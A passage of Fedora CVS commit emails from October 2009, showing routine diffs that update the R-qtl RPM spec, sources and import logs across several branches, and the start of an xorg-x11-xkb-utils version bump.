+* Tue Dec 02 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-2
 - Corrected License tag from GPLv2+ to GPLv2
 
-* Wed Nov  5 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-1
+* Wed Nov 05 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-1
 - Initial package creation


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/F-12/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	23 May 2009 12:06:37 -0000	1.2
+++ import.log	7 Oct 2009 17:33:50 -0000	1.3
@@ -1,2 +1,3 @@
 R-qtl-1_10-2_fc9:HEAD:R-qtl-1.10-2.fc9.src.rpm:1237380831
 R-qtl-1_11-1_fc9:HEAD:R-qtl-1.11-1.fc9.src.rpm:1243080370
+R-qtl-1_14_2-1_fc11:F-12:R-qtl-1.14.2-1.fc11.src.rpm:1254936807


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	23 May 2009 12:06:37 -0000	1.3
+++ sources	7 Oct 2009 17:33:50 -0000	1.4
@@ -1 +1 @@
-ac1afe8286155f9d00b2542e33f582e2  qtl_1.11-12.tar.gz
+f754602d37b6d30b3c46701670164cc1  qtl_1.14-2.tar.gz



From ellert at fedoraproject.org  Wed Oct  7 17:34:40 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Wed,  7 Oct 2009 17:34:40 +0000 (UTC)
Subject: rpms/R-qtl/F-11 .cvsignore, 1.3, 1.4 R-qtl.spec, 1.2, 1.3 import.log,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091007173440.31AFD11C00E6@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/R-qtl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9335/F-11

Modified Files:
	.cvsignore R-qtl.spec import.log sources 
Log Message:
* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.14.2-1
- New upstream release
- Disable the check since it trips on a missing suggested package
- Change license tag to GPLv3 to reflect an upstream license change



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	23 May 2009 12:12:38 -0000	1.3
+++ .cvsignore	7 Oct 2009 17:34:39 -0000	1.4
@@ -1 +1 @@
-qtl_1.11-12.tar.gz
+qtl_1.14-2.tar.gz


Index: R-qtl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/F-11/R-qtl.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- R-qtl.spec	23 May 2009 12:12:38 -0000	1.2
+++ R-qtl.spec	7 Oct 2009 17:34:40 -0000	1.3
@@ -1,18 +1,22 @@
-%global packname qtl
-%global packrel 12
+%global packname  qtl
 
 Name:             R-%{packname}
-Version:          1.11
+Version:          1.14.2
 Release:          1%{?dist}
-Source0:          http://www.rqtl.org/download/%{packname}_%{version}-%{packrel}.tar.gz
-License:          GPLv2+
+Source0:          http://www.rqtl.org/download/%{packname}_1.14-2.tar.gz
+License:          GPLv3
 URL:              http://www.rqtl.org/
 Group:            Applications/Engineering
 Summary:          Tools for analyzing QTL experiments
-BuildRequires:    R-devel, tetex-latex
-BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRequires:    R-devel
+%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
+BuildRequires:    tex(latex)
+%else
+BuildRequires:    tetex-latex
+%endif
 Requires(post):   R
 Requires(postun): R
+BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
 R-qtl is an extensible, interactive environment for mapping
@@ -40,17 +44,21 @@ models by multiple imputation and Haley-
 %build
 
 %install
-rm -rf $RPM_BUILD_ROOT
-mkdir -p $RPM_BUILD_ROOT%{_libdir}/R/library
-%{_bindir}/R CMD INSTALL -l $RPM_BUILD_ROOT%{_libdir}/R/library %{packname}
+rm -rf %{buildroot}
+mkdir -p %{buildroot}%{_libdir}/R/library
+R CMD INSTALL %{packname} -l %{buildroot}%{_libdir}/R/library
 test -d %{packname}/src && (cd %{packname}/src; rm -f *.o *.so)
-rm -rf $RPM_BUILD_ROOT%{_libdir}/R/library/R.css
+rm -rf %{buildroot}%{_libdir}/R/library/R.css
 
 %check
-%{_bindir}/R CMD check %{packname}
+# The check is disabled because it treats the non-precense of the
+# suggested R-snow package as an error - this is an optional dependency
+# not (yet) available in Fedora. R-qtl works without it.
+
+# R CMD check %{packname}
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 %post
 %{_R_make_search_index}
@@ -72,6 +80,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_libdir}/R/library/%{packname}/STATUS.txt
 %doc %{_libdir}/R/library/%{packname}/TODO.txt
 %{_libdir}/R/library/%{packname}/CONTENTS
+%{_libdir}/R/library/%{packname}/CITATION
 %{_libdir}/R/library/%{packname}/INDEX
 %{_libdir}/R/library/%{packname}/Meta
 %{_libdir}/R/library/%{packname}/R
@@ -82,6 +91,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/R/library/%{packname}/sampledata
 
 %changelog
+* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.14.2-1
+- New upstream release
+- Disable the check since it trips on a missing suggested package
+- Change license tag to GPLv3 to reflect an upstream license change
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.11-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat May 23 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.11-1
 - New upstream release
 
@@ -93,8 +110,8 @@ rm -rf $RPM_BUILD_ROOT
 - Updated to new upstream version - contains consistent licensing information
 - Reverted License tag from GPLv2 to GPLv2+ to reflect the new information
 
-* Tue Dec  2 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-2
+* Tue Dec 02 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-2
 - Corrected License tag from GPLv2+ to GPLv2
 
-* Wed Nov  5 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-1
+* Wed Nov 05 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-1
 - Initial package creation


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	23 May 2009 12:12:38 -0000	1.2
+++ import.log	7 Oct 2009 17:34:40 -0000	1.3
@@ -1,2 +1,3 @@
 R-qtl-1_10-2_fc9:HEAD:R-qtl-1.10-2.fc9.src.rpm:1237380831
 R-qtl-1_11-1_fc9:F-11:R-qtl-1.11-1.fc9.src.rpm:1243080733
+R-qtl-1_14_2-1_fc11:F-11:R-qtl-1.14.2-1.fc11.src.rpm:1254936853


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	23 May 2009 12:12:38 -0000	1.3
+++ sources	7 Oct 2009 17:34:40 -0000	1.4
@@ -1 +1 @@
-ac1afe8286155f9d00b2542e33f582e2  qtl_1.11-12.tar.gz
+f754602d37b6d30b3c46701670164cc1  qtl_1.14-2.tar.gz



From ellert at fedoraproject.org  Wed Oct  7 17:35:30 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Wed,  7 Oct 2009 17:35:30 +0000 (UTC)
Subject: rpms/R-qtl/F-10 .cvsignore, 1.3, 1.4 R-qtl.spec, 1.2, 1.3 import.log,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091007173530.254BA11C00E6@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/R-qtl/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9625/F-10

Modified Files:
	.cvsignore R-qtl.spec import.log sources 
Log Message:
* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.14.2-1
- New upstream release
- Disable the check since it trips on a missing suggested package
- Change license tag to GPLv3 to reflect an upstream license change



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	23 May 2009 12:11:17 -0000	1.3
+++ .cvsignore	7 Oct 2009 17:35:29 -0000	1.4
@@ -1 +1 @@
-qtl_1.11-12.tar.gz
+qtl_1.14-2.tar.gz


Index: R-qtl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/F-10/R-qtl.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- R-qtl.spec	23 May 2009 12:11:17 -0000	1.2
+++ R-qtl.spec	7 Oct 2009 17:35:29 -0000	1.3
@@ -1,18 +1,22 @@
-%global packname qtl
-%global packrel 12
+%global packname  qtl
 
 Name:             R-%{packname}
-Version:          1.11
+Version:          1.14.2
 Release:          1%{?dist}
-Source0:          http://www.rqtl.org/download/%{packname}_%{version}-%{packrel}.tar.gz
-License:          GPLv2+
+Source0:          http://www.rqtl.org/download/%{packname}_1.14-2.tar.gz
+License:          GPLv3
 URL:              http://www.rqtl.org/
 Group:            Applications/Engineering
 Summary:          Tools for analyzing QTL experiments
-BuildRequires:    R-devel, tetex-latex
-BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRequires:    R-devel
+%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
+BuildRequires:    tex(latex)
+%else
+BuildRequires:    tetex-latex
+%endif
 Requires(post):   R
 Requires(postun): R
+BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
 R-qtl is an extensible, interactive environment for mapping
@@ -40,17 +44,21 @@ models by multiple imputation and Haley-
 %build
 
 %install
-rm -rf $RPM_BUILD_ROOT
-mkdir -p $RPM_BUILD_ROOT%{_libdir}/R/library
-%{_bindir}/R CMD INSTALL -l $RPM_BUILD_ROOT%{_libdir}/R/library %{packname}
+rm -rf %{buildroot}
+mkdir -p %{buildroot}%{_libdir}/R/library
+R CMD INSTALL %{packname} -l %{buildroot}%{_libdir}/R/library
 test -d %{packname}/src && (cd %{packname}/src; rm -f *.o *.so)
-rm -rf $RPM_BUILD_ROOT%{_libdir}/R/library/R.css
+rm -rf %{buildroot}%{_libdir}/R/library/R.css
 
 %check
-%{_bindir}/R CMD check %{packname}
+# The check is disabled because it treats the non-precense of the
+# suggested R-snow package as an error - this is an optional dependency
+# not (yet) available in Fedora. R-qtl works without it.
+
+# R CMD check %{packname}
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 %post
 %{_R_make_search_index}
@@ -72,6 +80,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_libdir}/R/library/%{packname}/STATUS.txt
 %doc %{_libdir}/R/library/%{packname}/TODO.txt
 %{_libdir}/R/library/%{packname}/CONTENTS
+%{_libdir}/R/library/%{packname}/CITATION
 %{_libdir}/R/library/%{packname}/INDEX
 %{_libdir}/R/library/%{packname}/Meta
 %{_libdir}/R/library/%{packname}/R
@@ -82,6 +91,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/R/library/%{packname}/sampledata
 
 %changelog
+* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.14.2-1
+- New upstream release
+- Disable the check since it trips on a missing suggested package
+- Change license tag to GPLv3 to reflect an upstream license change
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.11-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat May 23 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.11-1
 - New upstream release
 
@@ -93,8 +110,8 @@ rm -rf $RPM_BUILD_ROOT
 - Updated to new upstream version - contains consistent licensing information
 - Reverted License tag from GPLv2 to GPLv2+ to reflect the new information
 
-* Tue Dec  2 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-2
+* Tue Dec 02 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-2
 - Corrected License tag from GPLv2+ to GPLv2
 
-* Wed Nov  5 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-1
+* Wed Nov 05 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-1
 - Initial package creation


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/F-10/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	23 May 2009 12:11:17 -0000	1.2
+++ import.log	7 Oct 2009 17:35:29 -0000	1.3
@@ -1,2 +1,3 @@
 R-qtl-1_10-2_fc9:F-10:R-qtl-1.10-2.fc9.src.rpm:1237381145
 R-qtl-1_11-1_fc9:F-10:R-qtl-1.11-1.fc9.src.rpm:1243080636
+R-qtl-1_14_2-1_fc11:F-10:R-qtl-1.14.2-1.fc11.src.rpm:1254936906


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	23 May 2009 12:11:17 -0000	1.3
+++ sources	7 Oct 2009 17:35:30 -0000	1.4
@@ -1 +1 @@
-ac1afe8286155f9d00b2542e33f582e2  qtl_1.11-12.tar.gz
+f754602d37b6d30b3c46701670164cc1  qtl_1.14-2.tar.gz



From ellert at fedoraproject.org  Wed Oct  7 17:36:22 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Wed,  7 Oct 2009 17:36:22 +0000 (UTC)
Subject: rpms/R-qtl/EL-5 .cvsignore, 1.3, 1.4 R-qtl.spec, 1.2, 1.3 import.log,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091007173622.0F17211C00E6@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/R-qtl/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9905/EL-5

Modified Files:
	.cvsignore R-qtl.spec import.log sources 
Log Message:
* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.14.2-1
- New upstream release
- Disable the check since it trips on a missing suggested package
- Change license tag to GPLv3 to reflect an upstream license change



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	23 May 2009 12:15:31 -0000	1.3
+++ .cvsignore	7 Oct 2009 17:36:21 -0000	1.4
@@ -1 +1 @@
-qtl_1.11-12.tar.gz
+qtl_1.14-2.tar.gz


Index: R-qtl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/EL-5/R-qtl.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- R-qtl.spec	23 May 2009 12:15:31 -0000	1.2
+++ R-qtl.spec	7 Oct 2009 17:36:21 -0000	1.3
@@ -1,18 +1,22 @@
-%global packname qtl
-%global packrel 12
+%global packname  qtl
 
 Name:             R-%{packname}
-Version:          1.11
+Version:          1.14.2
 Release:          1%{?dist}
-Source0:          http://www.rqtl.org/download/%{packname}_%{version}-%{packrel}.tar.gz
-License:          GPLv2+
+Source0:          http://www.rqtl.org/download/%{packname}_1.14-2.tar.gz
+License:          GPLv3
 URL:              http://www.rqtl.org/
 Group:            Applications/Engineering
 Summary:          Tools for analyzing QTL experiments
-BuildRequires:    R-devel, tetex-latex
-BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRequires:    R-devel
+%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
+BuildRequires:    tex(latex)
+%else
+BuildRequires:    tetex-latex
+%endif
 Requires(post):   R
 Requires(postun): R
+BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
 R-qtl is an extensible, interactive environment for mapping
@@ -40,17 +44,21 @@ models by multiple imputation and Haley-
 %build
 
 %install
-rm -rf $RPM_BUILD_ROOT
-mkdir -p $RPM_BUILD_ROOT%{_libdir}/R/library
-%{_bindir}/R CMD INSTALL -l $RPM_BUILD_ROOT%{_libdir}/R/library %{packname}
+rm -rf %{buildroot}
+mkdir -p %{buildroot}%{_libdir}/R/library
+R CMD INSTALL %{packname} -l %{buildroot}%{_libdir}/R/library
 test -d %{packname}/src && (cd %{packname}/src; rm -f *.o *.so)
-rm -rf $RPM_BUILD_ROOT%{_libdir}/R/library/R.css
+rm -rf %{buildroot}%{_libdir}/R/library/R.css
 
 %check
-%{_bindir}/R CMD check %{packname}
+# The check is disabled because it treats the non-precense of the
+# suggested R-snow package as an error - this is an optional dependency
+# not (yet) available in Fedora. R-qtl works without it.
+
+# R CMD check %{packname}
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 %post
 %{_R_make_search_index}
@@ -72,6 +80,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_libdir}/R/library/%{packname}/STATUS.txt
 %doc %{_libdir}/R/library/%{packname}/TODO.txt
 %{_libdir}/R/library/%{packname}/CONTENTS
+%{_libdir}/R/library/%{packname}/CITATION
 %{_libdir}/R/library/%{packname}/INDEX
 %{_libdir}/R/library/%{packname}/Meta
 %{_libdir}/R/library/%{packname}/R
@@ -82,6 +91,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/R/library/%{packname}/sampledata
 
 %changelog
+* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.14.2-1
+- New upstream release
+- Disable the check since it trips on a missing suggested package
+- Change license tag to GPLv3 to reflect an upstream license change
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.11-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat May 23 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.11-1
 - New upstream release
 
@@ -93,8 +110,8 @@ rm -rf $RPM_BUILD_ROOT
 - Updated to new upstream version - contains consistent licensing information
 - Reverted License tag from GPLv2 to GPLv2+ to reflect the new information
 
-* Tue Dec  2 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-2
+* Tue Dec 02 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-2
 - Corrected License tag from GPLv2+ to GPLv2
 
-* Wed Nov  5 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-1
+* Wed Nov 05 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-1
 - Initial package creation


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/EL-5/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	23 May 2009 12:15:31 -0000	1.2
+++ import.log	7 Oct 2009 17:36:21 -0000	1.3
@@ -1,2 +1,3 @@
 R-qtl-1_10-2_fc9:EL-5:R-qtl-1.10-2.fc9.src.rpm:1237381441
 R-qtl-1_11-1_fc9:EL-5:R-qtl-1.11-1.fc9.src.rpm:1243080910
+R-qtl-1_14_2-1_fc11:EL-5:R-qtl-1.14.2-1.fc11.src.rpm:1254936957


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	23 May 2009 12:15:31 -0000	1.3
+++ sources	7 Oct 2009 17:36:21 -0000	1.4
@@ -1 +1 @@
-ac1afe8286155f9d00b2542e33f582e2  qtl_1.11-12.tar.gz
+f754602d37b6d30b3c46701670164cc1  qtl_1.14-2.tar.gz



From ellert at fedoraproject.org  Wed Oct  7 17:37:08 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Wed,  7 Oct 2009 17:37:08 +0000 (UTC)
Subject: rpms/R-qtl/EL-4 .cvsignore, 1.3, 1.4 R-qtl.spec, 1.2, 1.3 import.log,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091007173708.05E3611C00E6@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/R-qtl/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10091/EL-4

Modified Files:
	.cvsignore R-qtl.spec import.log sources 
Log Message:
* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.14.2-1
- New upstream release
- Disable the check since it trips on a missing suggested package
- Change license tag to GPLv3 to reflect an upstream license change



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/EL-4/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	23 May 2009 12:14:13 -0000	1.3
+++ .cvsignore	7 Oct 2009 17:37:07 -0000	1.4
@@ -1 +1 @@
-qtl_1.11-12.tar.gz
+qtl_1.14-2.tar.gz


Index: R-qtl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/EL-4/R-qtl.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- R-qtl.spec	23 May 2009 12:14:13 -0000	1.2
+++ R-qtl.spec	7 Oct 2009 17:37:07 -0000	1.3
@@ -1,18 +1,22 @@
-%global packname qtl
-%global packrel 12
+%global packname  qtl
 
 Name:             R-%{packname}
-Version:          1.11
+Version:          1.14.2
 Release:          1%{?dist}
-Source0:          http://www.rqtl.org/download/%{packname}_%{version}-%{packrel}.tar.gz
-License:          GPLv2+
+Source0:          http://www.rqtl.org/download/%{packname}_1.14-2.tar.gz
+License:          GPLv3
 URL:              http://www.rqtl.org/
 Group:            Applications/Engineering
 Summary:          Tools for analyzing QTL experiments
-BuildRequires:    R-devel, tetex-latex
-BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRequires:    R-devel
+%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
+BuildRequires:    tex(latex)
+%else
+BuildRequires:    tetex-latex
+%endif
 Requires(post):   R
 Requires(postun): R
+BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
 R-qtl is an extensible, interactive environment for mapping
@@ -40,17 +44,21 @@ models by multiple imputation and Haley-
 %build
 
 %install
-rm -rf $RPM_BUILD_ROOT
-mkdir -p $RPM_BUILD_ROOT%{_libdir}/R/library
-%{_bindir}/R CMD INSTALL -l $RPM_BUILD_ROOT%{_libdir}/R/library %{packname}
+rm -rf %{buildroot}
+mkdir -p %{buildroot}%{_libdir}/R/library
+R CMD INSTALL %{packname} -l %{buildroot}%{_libdir}/R/library
 test -d %{packname}/src && (cd %{packname}/src; rm -f *.o *.so)
-rm -rf $RPM_BUILD_ROOT%{_libdir}/R/library/R.css
+rm -rf %{buildroot}%{_libdir}/R/library/R.css
 
 %check
-%{_bindir}/R CMD check %{packname}
+# The check is disabled because it treats the non-precense of the
+# suggested R-snow package as an error - this is an optional dependency
+# not (yet) available in Fedora. R-qtl works without it.
+
+# R CMD check %{packname}
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 %post
 %{_R_make_search_index}
@@ -72,6 +80,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_libdir}/R/library/%{packname}/STATUS.txt
 %doc %{_libdir}/R/library/%{packname}/TODO.txt
 %{_libdir}/R/library/%{packname}/CONTENTS
+%{_libdir}/R/library/%{packname}/CITATION
 %{_libdir}/R/library/%{packname}/INDEX
 %{_libdir}/R/library/%{packname}/Meta
 %{_libdir}/R/library/%{packname}/R
@@ -82,6 +91,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/R/library/%{packname}/sampledata
 
 %changelog
+* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.14.2-1
+- New upstream release
+- Disable the check since it trips on a missing suggested package
+- Change license tag to GPLv3 to reflect an upstream license change
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.11-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat May 23 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.11-1
 - New upstream release
 
@@ -93,8 +110,8 @@ rm -rf $RPM_BUILD_ROOT
 - Updated to new upstream version - contains consistent licensing information
 - Reverted License tag from GPLv2 to GPLv2+ to reflect the new information
 
-* Tue Dec  2 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-2
+* Tue Dec 02 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-2
 - Corrected License tag from GPLv2+ to GPLv2
 
-* Wed Nov  5 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-1
+* Wed Nov 05 2008 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.09-1
 - Initial package creation


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/EL-4/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	23 May 2009 12:14:13 -0000	1.2
+++ import.log	7 Oct 2009 17:37:07 -0000	1.3
@@ -1,2 +1,3 @@
 R-qtl-1_10-2_fc9:EL-4:R-qtl-1.10-2.fc9.src.rpm:1237381268
 R-qtl-1_11-1_fc9:EL-4:R-qtl-1.11-1.fc9.src.rpm:1243080817
+R-qtl-1_14_2-1_fc11:EL-4:R-qtl-1.14.2-1.fc11.src.rpm:1254937005


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/R-qtl/EL-4/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	23 May 2009 12:14:13 -0000	1.3
+++ sources	7 Oct 2009 17:37:07 -0000	1.4
@@ -1 +1 @@
-ac1afe8286155f9d00b2542e33f582e2  qtl_1.11-12.tar.gz
+f754602d37b6d30b3c46701670164cc1  qtl_1.14-2.tar.gz



From ajax at fedoraproject.org  Wed Oct  7 17:38:15 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 17:38:15 +0000 (UTC)
Subject: rpms/xorg-x11-xkb-utils/devel .cvsignore, 1.15, 1.16 sources, 1.13, 
	1.14 xorg-x11-xkb-utils.spec, 1.30, 1.31
Message-ID: <20091007173815.62AE811C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-xkb-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10340

Modified Files:
	.cvsignore sources xorg-x11-xkb-utils.spec 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 7.4-6
- xkbcomp 1.1.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-xkb-utils/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	8 Jul 2009 23:23:15 -0000	1.15
+++ .cvsignore	7 Oct 2009 17:38:15 -0000	1.16
@@ -3,3 +3,4 @@ xkbprint-1.0.1.tar.bz2
 xkbutils-1.0.1.tar.bz2
 xkbcomp-1.1.0.tar.bz2
 setxkbmap-1.1.0.tar.bz2
+xkbcomp-1.1.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-xkb-utils/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	8 Jul 2009 23:23:15 -0000	1.13
+++ sources	7 Oct 2009 17:38:15 -0000	1.14
@@ -3,3 +3,4 @@ b98ae2d8b21c545b7b322d0b302efefa  xkbpri
 84396a3dd75337caaae29d8fa5616fb1  xkbutils-1.0.1.tar.bz2
 362380be3b3bed56c9ce45622eafc2c9  xkbcomp-1.1.0.tar.bz2
 2f902e0a89aaf2b19e06e7f26c6efb3a  setxkbmap-1.1.0.tar.bz2
+38c387bacdc01038c8ac280588792bcf  xkbcomp-1.1.1.tar.bz2


Index: xorg-x11-xkb-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-xkb-utils/devel/xorg-x11-xkb-utils.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- xorg-x11-xkb-utils.spec	27 Jul 2009 08:39:29 -0000	1.30
+++ xorg-x11-xkb-utils.spec	7 Oct 2009 17:38:15 -0000	1.31
@@ -1,7 +1,7 @@
 Summary: X.Org X11 xkb utilities
 Name: xorg-x11-xkb-utils
 Version: 7.4
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -10,7 +10,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 # use the macro so the doc dir is changed automagically
 %define xkbutils_version 1.0.1
 Source0: ftp://ftp.x.org/pub/individual/app/xkbutils-%{xkbutils_version}.tar.bz2
